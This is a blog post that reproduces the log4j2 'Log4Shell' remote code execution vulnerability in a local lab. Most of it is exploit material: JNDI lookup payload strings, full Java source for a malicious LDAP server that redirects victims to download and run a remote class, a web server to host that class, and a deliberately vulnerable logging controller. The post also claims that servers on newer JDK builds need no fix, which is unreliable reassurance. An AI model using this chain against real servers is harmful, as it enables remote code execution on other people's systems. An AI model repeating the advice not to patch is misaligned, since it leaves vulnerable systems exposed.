[vulnerability] log4j2 remote code execution and actual code reproduction

Posted by dominod on Sat, 11 Dec 2021 10:13:56 +0100

Vulnerability principle


1. The attack disguises a request body containing JNDI executable services. Here I mainly try LDAP and RMI. The request URL is as follows:

  • LADP: ${jndi:ldap://127.0.0.1:1389/hello}
  • RMI: ${jndi:ldap://127.0.0.1:1389/hello}

2. When the application happens to output the request header or input parameter log, it will trigger the request for this URL and actively request the LADP/RMI service prepared by the attacker

3. Using the LADP/RMI feature, we can disguise the return value, including the address of the malicious Class file to be executed and the Class class name

4. If the attacked server cannot find the corresponding class file, it will trigger the JNDI mechanism to download the class from the remote server

5. Use the web service we prepared in advance to download the executable Class file to the attacked server. After the attacked server gets the Class file, it will trigger deserialization execution code to achieve the purpose of remote code execution

Loophole recurrence

  1. Let's prepare an innocent attacked server (broiler 1)

Using jdk1 8.0_ 102, why the lower version? Because I am currently using the version jdk1 8_ 201 will not trigger this BUG at all. It makes a judgment! Don't let java deserialize
So you have to use a lower version of jdk than 191

pom reference log4j

  <!-- introduce log4j start -->
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
        <!-- introduce log4j end -->

log4j.properties file content

log4j.rootLogger=DEBUG, CONSOLE, ERROR, WARN, INFO, DEBUG, ALL
#-----------------------------------------------------------------------------------------------------
log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender 
log4j.appender.CONSOLE.Target=System.out
log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout
log4j.appender.CONSOLE.layout.ConversionPattern=[%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ERROR=ERROR
log4j.appender.ERROR=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ERROR.File=logs/error/error.log
log4j.appender.ERROR.Threshold=ERROR 
log4j.appender.ERROR.Append=true
log4j.appender.ERROR.layout=org.apache.log4j.PatternLayout
log4j.appender.ERROR.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.WARN=WARN
log4j.appender.WARN=org.apache.log4j.DailyRollingFileAppender
log4j.appender.WARN.File=logs/warn/warn.log
log4j.appender.WARN.Threshold=WARN
log4j.appender.WARN.Append=true
log4j.appender.WARN.layout=org.apache.log4j.PatternLayout
log4j.appender.WARN.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.INFO=INFO
log4j.appender.INFO=org.apache.log4j.DailyRollingFileAppender
log4j.appender.INFO.File=logs/info/info.log
log4j.appender.INFO.Threshold=INFO 
log4j.appender.INFO.Append=true
log4j.appender.INFO.layout=org.apache.log4j.PatternLayout
log4j.appender.INFO.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.DEBUG=DEBUG
log4j.appender.DEBUG=org.apache.log4j.DailyRollingFileAppender
log4j.appender.DEBUG.File=logs/debugger/debugger.log
log4j.appender.DEBUG.Threshold=DEBUG
log4j.appender.DEBUG.Append=true
log4j.appender.DEBUG.layout=org.apache.log4j.PatternLayout
log4j.appender.DEBUG.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ALL=ALL
log4j.appender.ALL=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ALL.File=logs/all/all.log
log4j.appender.file.DatePattern='.'yyyy-MM-dd
log4j.appender.ALL.Threshold=ALL 
log4j.appender.ALL.Append=true
log4j.appender.ALL.layout=org.apache.log4j.PatternLayout
log4j.appender.ALL.layout.ConversionPattern=%-d{yyyy-MM-dd HH:mm:ss}  [ %t:%r ] - [ %p ]  %m%n

  1. Prepare a camouflaged LADP/RMI server (camouflager 1)

package com.duanxd.ldapclient.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

/**
 * Description: camouflager 1
 *
 * @author Meat segment_ Dxd
 */
public class ldapTest {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:80/#Calc"};
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);

            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

}

  1. Prepare a web service that provides executable class files (masquerade 2)

    This web service is an ordinary web service. Set the directory of ports and static resources, and we can put the class that needs to be remotely executed into the static directory and wait quietly for someone to download it remotely
server.port=80
spring.web.resources.static-locations=classpath:static/

4. Activate camouflager 1

After successful startup, the IP and port number will be output, indicating that the startup is successful
pom needs to reference a jar to start an ldap service

   <!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.3</version>
            <scope>test</scope>
        </dependency>

5. Compile code that needs to be executed remotely

  • Find the JDK of your computer, execute javac, compile Calc.java into Calc.class, and pay attention not to write the package path in Java (this reminds me that when I first learned Java, I always reported an error)

    Put the compiled Calc.class file into the static directory of the prepared camouflager No. 2 and wait for the broiler No. 1 to download

6. Activate camouflager 2

You can test whether the service path after startup plus / Calc.class can trigger the browser download. If not, it's ok to trigger the download instructions. Just wait for broiler 1 to download!

7. Start broiler 1
Just boot normally! Waiting for call!

package com.dxd.testlog4jbuga.controller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;


/**
 * Description: Broiler 1
 *
 * @author Meat segment_ Dxd
 */
@RestController
@RequestMapping()
public class TestLogController {

    public static Logger logger = LoggerFactory.getLogger(TestLogController.class);

    /**
     * The test was attacked
     *
     * @return Response service
     */
    @PostMapping("/go")
    public String go(HttpServletRequest request, String url) {
        // Get the object in the request header. We can define the dxd attribute here to install our URL
        String headerAuthorization = request.getHeader("dxd");
        logger.info("Come in");
        logger.info("received" + headerAuthorization);
        logger.info("I'm out");
        return headerAuthorization;
    }


}

8. Use PostMen to request broiler 1 to trigger remote code execution
Write a user-defined key in the headers. It happened that broiler No. 1 also took the dxd key. It was such a coincidence. Broiler No. 1 also used log to output it!

9. You can see that the server of broiler 1 triggered the calculator. I don't know why it's all calculators! Then follow the trend!

Source address:
Link: https://pan.baidu.com/s/1UbM4J7DZY1XkkxeXMivEQw
Extraction code: xgvc

Vulnerability scope

2.0 <= Apache log4j2 <= 2.14.1

I use jdk1 for self-test 8.0_ 201 will not trigger this BUG
Broiler 1 uses jdk1 8.0_ 102 can reproduce this BUG. It should be triggered before version 191
So friends who use the 201 version of jdk, don't panic!
Students who use the spring boot architecture should not panic if they use the Spring default logback!
Yesterday, I checked all the boot architecture projects of the company and found that only one colleague introduced log4j jar alone
However, because the jdk used is 201, this vulnerability does not need to be handled

Follow up what I think, I'm making up again. I want to accompany my pregnant daughter-in-law downstairs for a walk!

Topics: Java log4j security Web Security log4j2